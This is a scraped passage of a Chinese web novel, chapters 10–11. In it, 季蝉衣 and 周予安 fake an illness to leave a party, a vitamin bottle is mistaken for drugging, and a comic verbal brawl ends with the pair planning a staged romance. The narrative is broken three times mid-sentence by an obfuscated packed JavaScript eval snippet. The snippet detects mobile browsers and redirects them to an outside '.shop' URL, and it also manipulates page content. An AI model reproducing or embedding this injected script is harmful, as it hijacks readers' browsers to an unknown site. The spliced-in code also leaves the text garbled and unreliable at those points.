虽然外面的客人都散干净了,但屋里的陆靳他们都坐着没动,显然吃完之后还有一场聚会,这才是真正属于陈大少爷的生日宴。 这个聚会陈既只邀请真正关系亲密的朋友,原来的那个季蝉衣不用说也是肯定要参加的。但是现在的季蝉衣打算溜之大吉,能走多远走多远。 她刚刚在宴席上都没吃多少,正好回去和周予安一起吃烤串喝可乐吃小龙虾。想到烤串和小龙虾,季蝉衣忍不住贼头贼脑的凑近周予安,压低声音说:“安总,你还留着肚子呢吧?” “放心,刚刚就吃了几口菜,就等着咱们回去大快朵颐呢。” “那就好,回去我必定要让你知道什么才是真正的珍馐美味。” “……比如说上次那个烤糊了的茄子?” 季蝉衣推了一下周予安,忍不住笑了:“那次是意外,这次才是给你展示我真正的实力。等着吧安总。” “那还说啥了,我一定唯衣姐马首是瞻。” 两个人有来有往的打嘴炮,季蝉衣打算在微信上和陈既说一声就赶紧开溜,省的见面说还要互相掰扯一阵,陈既还不一定愿意放她离开。 结果谁知道季蝉衣刚拿出手机,纪雪薇就迎了过来:“熠熠姐,一会儿一起去唱歌吧?陈既哥家里有个小型影音厅,没有KTV那么吵闹,就咱们几个一起去正好。” 季蝉衣也不知道纪雪薇这时间是怎么掐的这么准的,她再晚来半分钟季蝉衣就能按下确认键了:“……先不了雪薇妹妹,我忽然头有点晕,想先回去休息休息。” 说着顺势往后一靠,靠在了周予安怀中,半闭着眼睛好似随时都要昏厥的模样。而周予安立刻get到了季蝉衣的想法,表情切换的无比自如,一脸心疼的配合:“蝉衣,你的脸色怎么这么苍白?这样子看的我都心疼了,看来咱们确实得赶紧回去了。” 纪雪薇闻言下意识地瞪大了眼睛,但她仔细观察了季蝉衣片刻,很快发现季蝉衣面色红润,完全不是那种生病时的虚弱模样。于是纪雪薇眼睛一转,立刻就猜到季蝉衣这是在胡扯。 纪雪薇迅速垂下眼睛,语气忧伤,演的比他们两人还要真:“难道是姐姐的伤还没好吗?这要是留下了什么后遗症可就惨了,正好秋心带了一个朋友来,名叫唐筱竹,是脑科专业的,认识很多脑科方面的医生,要不然就让她帮你看看吧?” 季蝉衣立刻若无其事的站直了身体。 开玩笑,真让人看了那不立刻就露馅了。再说了,这人都是黛秋心的好朋友了,能是什么会轻易放过她的角色? 季蝉衣见好就收,见不好的更是立刻就收的没边了:“那倒不用了,我就是有点微微头晕,可能是刚刚吃多了,大脑充血,休息一会应该就差不多好了。” 周予安察言观色,情绪转换的比她还要自然:“嗯……你的脸色看起来就是有点发红,可能就是吃多了导致的,应该没什么大碍。” “那我就放心了,既然这样,一会儿正好喝点热水暖暖肚子,顺便还能唱唱歌放松放松。走吧熠熠姐,我带你。” 说着,纪雪薇不由分说来到季蝉衣身边,不动声色的挤开了周予安,一脸和季蝉衣无比亲热的模样挽着她的手就要拉着她往影音厅的方向走去。 季蝉衣:“?” 周予安:“?” 不好,难道纪雪薇是想架空她?! 季蝉衣大惊失色,回头一看,周予安正紧跟着她们,同时表情镇定的朝她竖了一个大拇指,示意她不用担心,季蝉衣这才松了口气。 她们到了影音厅之后,纪雪薇十分热切的缠着季蝉衣说话聊天。 没一会儿,陆靳他们也来了,黛秋心身边还跟着一个季蝉衣之前从来没有见过的人,这应该就是刚刚纪雪薇口中那个黛秋心脑科专业的好朋友唐筱竹了。 黛秋心进来之后,先上下打量了季蝉衣一眼,然后无声无息的翻了个白眼,高高的抬着下巴在离季蝉衣最远的地方坐下了。 唐筱竹也不动声色的观察了一下季蝉衣,很轻很轻的“哼”了一声,昂首挺胸坐在了黛秋心旁边。 看着唐筱竹这“此地无银三百两”的架势,季蝉衣顿时了然,看来这一路上黛秋心没少和这个唐筱竹诋毁自己啊。 季蝉衣叹了口气,熟练的装作没看见。 陈既是最后一个进来的,他刚送完其他客人,刚要松口气,结果一进来就看见了周予安。他楞了一下,还以为自己漏送了一个客人:“周先生这是……” 季蝉衣连忙开口:“哦,我蹭他的车来的,到时候要一起离开。你肯定也不介意多一个人一起玩吧?” 陈既倒是没多想,很快笑眯眯地说:“这有什么,既然是季姐的朋友,那也就是我的朋友了,别拘束啊,坐下来一起玩就行!” 陈既叫人搬来了几箱啤酒,又拆了好几瓶他珍藏的红酒,除此之外他还贴心的准备了好几副扑克牌和各种桌游卡牌。 房间最前面是一个占据半面墙的幕布,陈既打开投影仪之后,切换成音乐模式,很快房间就成了一个大型KTV包间。 陈既笑眯眯的招呼大家:“一起玩啊,别客气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527475|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,想吃啥吃啥,想喝啥喝啥,不够了再叫人送。” 季蝉衣有气无力的响应一声——反正事已至此已经无法挽回了,不如就既来之则安之,干脆直接摆烂吧。 她凑到周予安身边,凄凄惨惨戚戚:“这下好了,烤糊的茄子你都吃不上了。” 周予安同样一脸愁容:“这是对我挑食的惩罚么?……但那个茄子已经碳化了,我是真下不了嘴啊。” 季蝉衣差点没忍住破功。 陈既给每个人都倒上了酒,大家天南海北的聊了会天,黛秋心就点了歌准备唱。 这是个展现自己的好机会,黛秋心当然不会放过,她选了一首节奏欢快的欧美歌,动人的嗓音完美的融入进了节奏里,果然一下子就带动了气氛,陈既更是忍不住频频看向她。 黛秋心得意的看向季蝉衣,仿佛急切地想要证明些什么,却见季蝉衣正低头小声和周予安咬耳朵,注意力完全没有放在其他人身上。 黛秋心一开始还忍不住皱了下眉,但随后似乎意识到了什么,看向季蝉衣和周予安的眼神就变得有些意味深长起来。 黛秋心霸占着话筒不肯放下,也就只有陈既和唐筱竹偶尔会唱一曲,其他人都在听歌打牌聊天,周予安喝酒喝到一半,起身去了厕所。 季蝉衣身边骤然空了下来,一抬头,对面的陈既正在和唐筱竹鬼哭狼嚎的唱歌,黛秋心可能是唱累了,终于舍得把话筒交了出去,坐在纪雪薇身边和她嘻嘻哈哈的聊天。陆靳坐在纪雪薇另一边,从进来之后,他就没怎么开口,周身笼罩着一种与欢快气氛格格不入的淡漠感觉。 季蝉衣就着昏暗的灯关观察了一下对面的两组CP和一个电灯泡。 电灯泡唐筱竹就不用多说了,年纪不大,长着一张娃娃脸,看起来就是那种容易被当枪使、容易被教唆的角色。 而黛秋心和陈既则一个羞涩一个还没开窍,一个不太聪明一个二缺,看起来倒是也挺有夫妻相的。 至于纪雪薇和陆靳,季蝉衣觉得倒是怎么看怎么奇怪。 怎么说呢,这两个人给人一种不熟的感觉,就像是那种貌合神离的夫妻一样,连坐都刻意和对方隔开了一点距离。这点微妙的氛围让季蝉衣觉得不太对劲。 按照小说中的描述,纪雪薇现在不应该已经主动获取了陆靳的信任么,那今天这一出生分冷漠的样子又是演的哪一出? 季蝉衣往后一坐,想靠在后面的按摩椅靠背上,结果屁股就被什么东西硌了一下。 她心里还想着事情,边走神边把那东西拿了出来,心不在焉的看了一眼,原来是她随身带着的一个药瓶。 看着那只有拇指大小的小药瓶,季蝉衣想到了什么,眼神一闪。 唐筱竹原本正激情澎湃的和陈既一起唱歌,谁知道唱着唱着,她的视线不经意间扫到了季蝉衣,正正好好看见季蝉衣拿着一个小药瓶往一个玻璃杯里倒了什么东西。 季蝉衣倒完之后,好像还左右看了看,见没人注意到她,这才放心的把药瓶收了回去。 唐筱竹心中顿时警铃大作——季蝉衣这是要干什么?下毒?杀人? 不不不,她应该没那个胆子,难道……唐筱竹展开自己天马行空的想象力,再结合自己常年深耕言情小说的经验,一个大胆的猜想逐渐浮现在她的脑海中——难道季蝉衣想像小说中邪恶女配那样给人下春药??! 她来之前就被黛秋心灌输了很多季蝉衣想插足纪雪薇和陆靳甜蜜爱恋的邪恶思想,再加上刚刚又被黛秋心临时拉走灌输了一通季蝉衣想抢陆靳还不够现在又看上了陈既的念头,现在看季蝉衣干什么都像是在干坏事。 这季蝉衣究竟是怎么回事?难道真准备出手了? 唐筱竹虽然看了很多小说,但这还是第一次经历小说中的事情,一时间心里又紧张又激动。 她虽然嘴里还在唱歌,但是思绪早就已经飘远了。 她一直紧张的关注着季蝉衣的一举一动,想看看她准备把那杯下了料的水给谁喝。 但奇怪的是,季蝉衣既没有把水杯给陈既也没有把水杯给陆靳。就在唐筱竹都怀疑她是不是打算干脆一次弄俩直接给自己喝时,就见季蝉衣的眼睛忽然一亮。 她顺着季蝉衣的视线看过去,原来是周予安回来了。 然后唐筱竹就看着季蝉衣脸不红心不跳的把杯子递给了周予安,而周予安毫无防备的举起杯子准备一饮而尽。 唐筱竹顿时大惊失色,情急之下几乎是脱口而出道:“等等!” 10. Chapter10. 唐筱竹没意识到自己手里还拿着话筒,这一声可谓是惊天动地,陈既被吓了一大跳,手里的话筒差点飞出去。其他人也都被吵的下意识皱起了眉头,不解的看向唐筱竹。 唐筱竹直勾勾的盯着周予安手里的杯子,也顾不上别的了,着急地脱口而出道:“周总,千万别喝!您杯子里的水有问题!” 周予安:“?” 季蝉衣:“?” 其他人:“??” 唐筱竹便将自己刚刚看见的事情添油加醋的说了一通。 周予安:“……” 季蝉衣:“……?” 其他人:“!!” 周予安连看都没看,端起水杯喝了两口。 唐筱竹:“!!” 黛秋心下意识睁大眼睛,脱口而出道:“周先生,您这是在干什么?筱竹说她亲眼看见了季蝉衣往杯子里加东西,您这是不相信她吗?” 周予安干脆把杯子里的水一饮而尽,斜睨黛秋心一眼,一脸敷衍的惊奇:“这都被你发现了?” 黛秋心:“?” 纪雪薇见自己的好闺蜜被无视,也忍不住开了口:“不过也有可能是刚刚筱竹看错了,毕竟当时很昏暗,但是……” 周予安道:“我就知道是这样。”又迅速转头,一脸心疼的看着季蝉衣,“蝉衣,你受苦了。” 季蝉衣立刻get到周予安的点并以迅雷不及掩耳之势演出一副柔弱无骨的模样:“……没受苦,命苦。” 纪雪薇:“?” 两个人含情脉脉的看着对方,在其他人看来,周予安和季蝉衣就是在深情对视,但实则—— 周予安用眼神示意过去:“可以啊衣姐,演技大有提升啊。” 季蝉衣用眼神示意回来:“彼此彼此,安总,你也不差嘛。” 周予安再示意:“只不过咱们是不是演的有点过火了?你觉得大家会看出来吗?” 季蝉衣也示意:“过火总比没有强,人生如戏全靠演技啊,原来这句话的存在是为这一刻铺垫的。” 另一边的唐筱竹见周予安这么的油盐不进,觉得自己的好心被当成了驴肝肺,一时间也有点恼羞成怒,恨声说:“我亲眼看见的,绝对没有错!如果你们不信的话,那就去翻翻季蝉衣的右边口袋,我亲眼看见她下完药之后又放了回去!” 不等其他人开口,季蝉衣就非常自觉的翻了翻自己的右边口袋,果然翻出刚刚那瓶拇指大的药瓶来。 众人:“嘶。” 只有周予安的表情仍旧没什么变化。 季蝉衣狐疑的问:“那个,筱竹——是叫这个名字吧?你说的是这个吗?” 唐筱竹得意地说:“没错,就是这个,你敢让大家看看这是什么东西吗?” 黛秋心冷笑一声,先忍不住挖苦道:“我还以为多么纯洁多么高贵呢,结果还不是要用这么下作的手段。所以说知人知面不知心,不知道有多少人被你这看着单纯的模样骗过去了……” 陈既也震惊的开了口:“不是吧季姐,真、真有啊?” 陆靳掀起眼皮看了一眼这闹哄哄的场面,脸上依然没什么表情,一副事不关己的模样。 纪雪薇站到了人群最前面,眼睛里似乎汪了一汪水,一脸的震惊和心痛:“熠熠,你竟然……这究竟是什么药?告诉我好不好?我相信你绝对不是她们说的那样,你肯定是有苦衷的,对不对?没关系的熠熠,你的痛苦我都心疼想为你解决。不管这是什么药,我都不会怨你,我会陪伴你一点点变好的。毕竟我和其他人都不一样,比起你强装出来的阳光和开朗,我更想了解你这个人的全部,了解你的过去和不堪……” “不是,”季蝉衣终于受不了了,面无表情的出言打断,“我想长高补点维生素怎么就不堪了?” “?” 季蝉衣举起那个药瓶,众人终于看见了上面的大字——维生素D。 “?” 季蝉衣面无表情的拿出更多药瓶:“那我的钙片、补锌口服液、B族维生素、补铁胶囊、鱼油、蛋白粉、益生菌制剂是不是更不堪?” “……?” 开玩笑,季蝉衣只是比较惜命但是又戒不了熬夜,所以只能边熬边补而已。至于她给周予安“下药”,那纯粹是想带飞队友而已,毕竟这个世界里只有周予安和她是战友,她当然得关心战友的身心健康了。 就是没想到这一出正好被唐筱竹看见,还被她给误解了。 显然所有人都没想到事情的走向竟然变得如此抽象起来。唐筱竹见自己误会了季蝉衣,顿时有些不好意思,黛秋心倒是轻嗤一声,表情依然不屑。 陈既有些尴尬,陆靳则依然面无表情的把玩手中的打火机。 周予安看起来好像也没什么表情,但季蝉衣知道他快要憋不住笑了。 纪雪薇见大家都沉默下来,眼珠子转了转,忽然露出一种十分哀伤的模样:“熠熠姐,你是不是有什么心事瞒着我们?” 季蝉衣:“?” 季蝉衣:“没有啊。” 话题怎么又开始跑偏了? 谁知道纪雪薇忽然直勾勾的看着她,坚定的出言打断:“不,你有!” 季蝉衣:“?” 她有没有她自己不知道,你一个四处祸害她的女配知道? 季蝉衣乐了。她倒要看看纪雪薇能说出个什么来。 就听见纪雪薇悲戚的说:“熠熠,我知道你总是会用这种看似无所谓的模样掩饰自己心中的悲伤,我也明白你的逃避和漠不关心,想以冷漠阻挡一切有可能会伤害你的东西,可是一味的回避并不能根治问题,如果你愿意相信我,我愿意抚平你心中的悲伤。毕竟一直把自己关在麻木的外壳中并不能真正的解决问题。回避型人格和拧巴的人需要一个赶不走的朋友,而我,就是那个你赶不走的朋友!” 季蝉衣看着纪雪薇欲言又止,季蝉衣陷入漫长的沉默。 这句话给季蝉衣的感觉就是千里马,但季蝉衣不是伯乐,她是商鞅。 她真就不明白了,她一个三好市民,来之前从来没做过什么坏事,一直兢兢业业的生活,窝窝囊囊的工作,为啥让她频频听到这些魔幻发言。 纪雪薇似乎轻轻抹了一把泪,声音都在微微颤抖:“你的故作平静和麻木不仁就是你想要追求的内心安稳吗?你对得起那些真正爱护你、心疼你的人吗?!” “不是,其实是因为我撞到了脑子,撞伤了记忆中枢,导致我的记忆力和反应能力以及思考能力全部大幅度下降,所以存在信息传递障碍,可能在思维、认知、记忆、学习专注力及动作精细度等方面与常人存在显著差异,所以才看起来如此麻木不仁……现在你满意了?” “?” 季蝉衣面无表情的说:“这就是你想要的吗?欺负一个脑残?” 周予安忍了再忍,实在是忍不住了,在季蝉衣耳朵后面恶魔低语:“一直在挑衅你,说你长得低还脑残。” 纪雪薇:“……” 纪雪薇:“?” 季蝉衣忍无可忍:“够了,如果我是拼多多新用户,你对我说话还会是现在这个态度吗!” 纪雪薇:“……?” 这番对话实在是有些魔幻,一旁的其他人全都装作鹌鹑似的一声不吭,只有唐筱竹听了季蝉衣的话之后,表情由一开始的歉意逐渐变得愤愤不平起来。 她显然被黛秋心或者是纪雪薇灌输了很多不太健康的思想,所以虽然是第一次见到季蝉衣,但是对季蝉衣已经有了一个先入为主的不好印象。 现在她看到这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527476|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场面,更是觉得纪雪薇好心关心季蝉衣,季蝉衣不但不领情还言语十分挑衅,顿时就想为自己的朋友鸣不平。 她皱着眉怒斥道:“你说话也太没有礼貌了吧,我……我刚刚也只是想提醒你一下啊,怕你起什么歪心思。而且雪薇姐又没做错什么,你为什么要对她这么凶?有本事冲我来啊,你简直像是我姥姥烤坏的蛋挞一样让人心情糟糕!” 季蝉衣觉得这句话透出一种诡异的色彩,有一种世界即将完蛋的疯感,就像赵匡胤在万圣节骑着飞天扫帚穿着绿色魔法斗篷带着红色圣诞帽对李煜说不给唐就捣蛋一样诡异。 现在年轻人说话如此倒反天罡吗?怎么这还成季蝉衣的不是了? 按照原剧情,女主又该作何反应呢?季蝉衣想不出来,不过她的反应她倒是可以立刻给出来:“我直接给你姥烤成蛋挞!” “?” 黛秋心看不下去了,她本来就不喜欢季蝉衣,刚刚一直不占理才沉默,现在见她这么说,自认为有了替小姐妹出头的理由,立刻就怒气冲冲道:“你这是什么意思?骂人就算了,为什么还要出言伤害别人的父母亲戚?为什么要伤害不相关的人?你怎么这么狠毒,专挑别人的痛处说话?一点教养礼貌都没有,你好意思和我们站在一起吗?” 季蝉衣掏了掏耳朵,觉得黛秋心的话不痛不痒:“大姐,我是在骂人,不是在跟人调情。我不骂别人的痛处,难道我还要抱着她唱‘兄弟抱一下有泪你就流吧’吗?” “?” 陈既皱了皱眉,他和黛秋心还不熟,只能先和季蝉衣开口:“行了季姐,你先别说话了……” 季蝉衣看见他就想起他后期“叛变”的事情,对他更是没什么好脸色:“行了陈弟,你也先别说话了。你先摇摇头看看两边的猪耳朵会不会扇到脸。” “?” 见大家都一副吃了屎的样子,纪雪薇反倒越挫越勇,双眼含泪,再次凄凄切切的小声开口:“熠熠,你一定是在生气对不对?你要是生气就只生我的气好不好?其他人都是无辜的啊。我从来不会出言伤害无辜的人。” “巧了,我只出言伤害无辜的人。” “对别人的狠毒就是对自己的惩罚,对无辜的人刻薄没有任何好处。” “也没有任何坏处。” “?” 纪雪薇终于绷不住了,眼泪好像下一秒就能哗啦啦往下掉,捂着嘴一句话都说不出来。 黛秋心终于爆发了:“不是,你今天怎么回事,怎么跟狗一样咄咄逼人?” 季蝉衣宠溺一笑:“是狼~” “?” 大家的表情都十分精彩,尤其是黛秋心,看着季蝉衣伶牙俐齿刀枪不入的模样,气的恨不得跑过来咬季蝉衣一口。黛秋心和唐筱竹这气得牙痒痒的模样看的季蝉衣恨不得仰天长笑——哈哈哈哈哈,快哉快哉,我mean由我不由天! 这种没有顾虑的现场厮杀的感觉还是那么的爽。 现在大家既不谈情也不说爱了,女配不茶了,男配不贱了,内讧没了,互相指责也不见了,大家全都被升华了,攻击力也提上去了,有的只是对存粹辱骂的渴望,对恨不得撕了对方嘴的希翼,没有任何退缩的念头。 大家根据阵营组队,语言里全是自己的私心,没有任何大义,双方如同生死仇敌,好像真要把双方亲戚送入烤箱,有的只是最存粹的战斗和最原始的火拼,善良与正义荡然无存,一切的一切都快乱成一锅热气腾腾的皮蛋瘦肉粥了……累了一天之后来上这么一出可真是惬意啊。 季蝉衣骂完之后,感觉自己的乳腺结节似乎全部消失不见了,腿脚有劲了,人生也更有盼头了。 总之一切都变得生动有趣起来了,真是骂美了,说爽了,她感觉自己又可以狠狠大战三百回合了。 11. Chapter11. 季蝉衣舌战群儒,眼看战况焦灼一发不可收拾,陈既连忙出来打圆场:“哎呦呦,两位姐姐,先别吵了,和气生财和气生财啊,这件事原本也就是个误会嘛,不值得两位貌若天仙的姐姐大吵一架。来来来,都喝点冰镇小甜水,季姐,你喜欢柠檬味的饮料,这个柠檬味苏打水给你尝尝,可好喝了。黛姑娘,给你这杯西瓜汁,冰镇的,也很好喝。就当是给我个面子好不好?大家休息休息,一会儿咱们一起唱歌。” 在陈既的卖力调和之下,季蝉衣和黛秋心这两个舌战主力军才终于不情不愿的偃旗息鼓。 季蝉衣接过苏打水,周予安已经拿来了一个冰杯,替季蝉衣把苏打水倒进去,然后把冰水递到她手中,低声说:“可以啊衣姐,你这要是放在古代,那就是一边大叫着‘将相王侯宁有种乎’一边揭竿而起的存在,要是那个时候我依然在你身边,肯定就是你最忠实的支持者。到时候衣姐指哪儿我打哪儿,绝对不带犹豫的。” 季蝉衣得意一笑:“过奖过奖。安总也不赖啊,刚刚挺维护我的嘛,问都不问就这么坚定的站在我这边。” “哪里哪里,季姐珠玉在前嘛。” “没有没有,安总还是太谦虚了。” 两个人你来我往,最后都忍不住笑了。 季蝉衣说:“得了,见好就收啊。时间也不早了,咱们收拾收拾就准备回去吧。” “行,都听季姐吩咐。” 黛秋心喝完水,情绪平复了一些,但看向季蝉衣的眼神依然有些不善。 陈既连忙继续陪笑耍宝,总算又让气氛热闹了一点。 大家唱唱歌喝喝酒,刚刚绷紧的神经也都渐渐松懈了下来,气氛又再次活络起来。季蝉衣瞅准时机,单独和陈既说了一声之后就带着周予安一起离开了。 陈既估计也知道季蝉衣和黛秋心两人合不来,季蝉衣留在这里也是和黛秋心针尖对麦芒,陈既不想再添乱子,也就没继续挽留。 周予安把车停的有点远,两个人得走一段路才能到。 因为中午吃完饭饭又闹了很久,现在天色已经暗了下来,月朗星稀,华灯初上。走在路边吹着晚风倒是也挺舒服。 别墅区静谧,沿着小径走了很长的一段路都听不见一点嘈杂声音。 季蝉衣走了会神,一转头,就看见周予安心不在焉的盯着脚下的石子路。 季蝉衣的眼睛清明了些,问:“怎么了安总,看起来兴致不高啊,有心事?” 周予安回过神,懒洋洋的笑了一下:“哦,没什么,刚刚在想接下来要干什么呢。” 顿了顿,周予安打起精神,神色有了几分正经:“现在看样子虽然细节上有很多地方随着咱们的行为发生变化而跟着变化,但是大体上的方向还是没变的。比如说现在陆靳和纪雪薇依然在一起,简离也通过其他渠道认识了李听澜,而今天陈既又认识了黛秋心……这样看来好像咱们也没有改变什么很关键的情节嘛。衣姐,你说咱们最后究竟能不能改变结局呢?” 季蝉衣的语气是出人意料的笃定:“放心吧安总,咱们一定会改变结局的。” 周予安挑了挑眉,似乎有些意外季蝉衣坚定的语气,正准备问问季蝉衣是不是还有什么后招,就听见季蝉衣继续说:“……毕竟原主的结局是自杀,如果改变不了的话,我最后就真得葬身在这里了,所以咱们肯定会改变结局的。” “……这样啊。” “?你这一副很失望的口吻是怎么个事儿?” “没什么……我还以为你说的这么笃定是因为背着我偷偷藏了什么大招呢。敢情衣姐你这就是纯笃定、硬笃定、只笃定,没有任何后招啊。” “你这话说的,要是我有后招我不早就试了吗。我之所以能这么笃定,正是因为我除了笃定之外也做不了别的了。” “……其实换个方式想想,这何尝不是一种壮士断腕般的决心呢?” 两个不约而同的举起手,他们谁都没扭头往对方那儿瞟,但举起的手却精准无误的击了一掌。 季蝉衣感叹:“要不说你懂我呢。” “要不说咱们是知己呢。” 季蝉衣想了想,又说:“其实对于改变剧情这个事儿,我还真有个想法。” “说来听听?” “既然原主的官配是陆靳,那么想要彻底的改变剧情,是不是我只要爱上其他人——或者说也不一定是真爱上,只要是最后和另外一个人在一起了,彻底的抛弃了陆靳,那是不是这些以我和陆靳做为男女主的剧情就可以算作是彻底崩塌,最后我也就可以避免那个死亡的结局了?” 周予安似乎意识到了什么,扭头看向季蝉衣。他脸上说不出是什么表情,只是静静的看着季蝉衣,等着她说下文。 季蝉衣正低着头有一下没一下的踢路边的石子,她没有注意到周予安的反常,自顾自的继续说:“刚刚咱俩演的那一出深情对视倒是真启发了我,我越想越觉得可行,毕竟连男主都换了,这本小说的剧情就算是被彻底改变了,那最后的结局也肯定会跟着一起改变。”顿了顿,她终于想起来问周予安,抬头说,“你觉得呢,安总?” 周予安脸上的模样已经完全恢复如初,仿佛刚刚那近乎反常的平静模样没有存在过。他扯了扯嘴角,语气也和平常一向随性慵懒:“好像确实是这么个道理。” 得到了周予安的认可,季蝉衣十分满意,继续说:“既然你也觉得可行,那不如咱们就试试?反正现在也没有其他更好的办法了。” 周予安问:“所以你准备……准备最后‘假装’和谁在一起呢?” 季蝉衣抬起头狐疑的看了周予安一眼,似乎不理解周予安是怎么问出这么白痴的问题的:“这还用问?这里面还有谁和我从始至终都是同一战线的?远在天边近在眼前啊,干嘛啊安总,不会是想要临阵逃脱吧?那你用装傻充愣这招可就有点蹩脚了。” 周予安沉默片刻,忽然轻轻笑了。 季蝉衣更加狐疑,她吹了声口哨,又朝周予安打了声响指:“怎么了?你终于疯了?” 周予安收敛住脸上的笑意,一本正经的说:“没事儿,我只是觉得挺开心的。” “……什么开心?” “……很多,可能是……咱们又想到了一个办法,虽然不知道有没有用,但是终究是朝重点迈了小小的一步,所以觉得很开心。” 季蝉衣撇了撇嘴:“安总你也太容易被满足了吧。” “是啊,其实咱们每吃一顿烧烤、喝杯加冰啤酒我也都会觉得很开心。” 季蝉衣敷衍的说:“那以后咱们经常烧烤就是了,这又不是什么大不了的事情。”说着说着,季蝉衣伸了个懒腰,眯起眼睛一脸向往,“到时候咱们也弄个影音厅,到时候谁惹到我了我就拿起话筒边唱边骂,全部都给他发泄出来。嘴巴干净了,心灵也就纯洁了。” “噗。” “你别笑,到时候你也一起来骂,就像上次见到李听澜之后咱们边喝酒边破口大骂的那样,以后咱们还要经常边喝酒边骂人。” “我可没骂,不全是你骂的吗?”周予安抗议道。 “咱们还分什么‘你’‘我’,你的就是我的,我的还是我的。” “行吧,衣姐威武。” 两个人很快走到了车子前,周予安拉开副驾的门,看季蝉衣坐进去之后,这才绕到另一边拉开了车门。 车子平稳上路,季蝉衣打了声哈欠,语气困倦:“这段时间一共就见了陆靳两次,比原著少了一大半还多,这就是一个小小的胜利啊!说明只要咱们用心主动的躲,还是可以躲过很多我和陆靳的剧情的。不过咱们也不能太骄傲,毕竟骄傲使人落后,谦虚使人进步……革命尚未成功,同志们仍需努力啊。” 虽然季蝉衣记得这段时间书中也没有写到什么重要的情节,不过按照言情小说常见的套路,男女主不可能在这么长的时间里只见了两面,这就说明过剧情这件事还是有主观能动性的。 周予安“嗯”了一声:“放心吧,以后咱俩的重心就放在炒咱俩的CP上,估计也顾不上其他人了。” 季蝉衣一琢磨,忍不住乐了: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527477|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我磕CP也算是一把好手了,真没想到有朝一日可以自己亲自上阵。” “是啊,不仅你想不到,就连我也想不到我这一把年纪了还可以整这些新鲜玩意儿。” 两个人有一搭没一搭的聊天,在走廊和周予安分别的时候,季蝉衣快困得睁不开眼了。 进门之前,她还不忘冲身后的周予安摆手:“今天的烧烤算是欠你一顿,明天咱们一定要补回来。” “行,那我就等着衣姐大手一挥请我一顿了。” “晚安。” “早点休息,晚安。” · 这次的乌龙过后,让原本季蝉衣和黛秋心原本就剑拔弩张的关系变得更加剑拔弩张,不过季蝉衣对此倒是接受良好。 可能是受到周予安那对什么事情都十分看得开的性格影响,季蝉衣现在对于这些女配们的各种莫名其妙的恨意已经可以泰然处之了。 而且其实她们两个人在生活上没什么交叉点,以后估计也没什么见面的机会,季蝉衣已经打定主意和陆靳纪雪薇那帮人减少见面的次数,想来以后见黛秋心的次数更是会大幅度减少。估计用不了多久,黛秋心就会淡忘掉季蝉衣的存在,到时候“一别两宽各自安好”,季蝉衣也就懒得再费时间费精力在黛秋心身上。 这几天季蝉衣无所事事,又过上了那种采菊东篱下悠然见南山的养老生活。 她再次架起了烧烤架,滋滋润润的和周予安窝在家里烧烤,补上了之前欠周予安的那顿烧烤。 两个人酣畅淋漓的边烤串边拿出冰啤酒干杯,日子过得那叫一个逍遥快活。 就这么醉生梦死的过了两天,没有了那些勾心斗角之后,季蝉衣整个人都显得容光焕发。她每天都邀请周予安来家里一起吃烧烤,周予安也开始慢慢把自己的东西往季蝉衣家里放,一开始只是自己喝啤酒用的杯子和拖鞋,然后慢慢的是睡衣、衣服、各种领带和配饰,最后连牙刷牙膏都开始往季蝉衣这边搬。 两个人窝在客厅里边吃饭边看电影,或者是在影音厅边喝酒边打游戏,有时候一直玩到凌晨才结束,这时候周予安也懒得再回家,就直接在季蝉衣这里洗漱然后睡在他的专属小沙发上。 渐渐的两个人都已经习惯了这样的模式,只要周予安呆的晚了就直接睡在季蝉衣家,有时候就算是呆的不晚,但周予安懒得走两步路回家,也就干脆也直接住在季蝉衣这里。 周予安往季蝉衣家跑的比在自己家住的都勤,后来季蝉衣琢磨着要不干脆直接住一起得了,反正他们也准备大干一场狠狠炒一下CP,而且有周予安在确实能舒心不少。 周予安对睡哪里穿什么都不太讲究,虽然这人看起来不靠谱,但也不是那种甩手掌柜的性格,两个人相处时,依然时周予安干活干得多。像什么收拾垃圾扔垃圾、洗碗洗锅洗衣服这些家务几乎全是周予安做的,季蝉衣也帮着做,但做的远远不如周予安熟悉,也不如周予安多,有周予安在家,季蝉衣觉得自己可以省很多事情。 有时候她懒得动,周予安还能帮她拿个可乐送点零嘴——这点更是直击季蝉衣的小心脏。周予安对她的口味了如指掌,在外面点菜的时候完全不用季蝉衣开口,周予安自己就能搞定。就算是两人不出去,周予安在家自己做饭也深得季蝉衣的心。 要不怎么说抓住一个人要先抓住她的胃呢,周予安抓住了季蝉衣的胃,确实也抓住了季蝉衣这个人。两个人搭伙过了几天日子之后,季蝉衣就主动开始寻思要不要给周予安收拾一间客房出来让他住下,但周予安对此倒是表示无所谓。 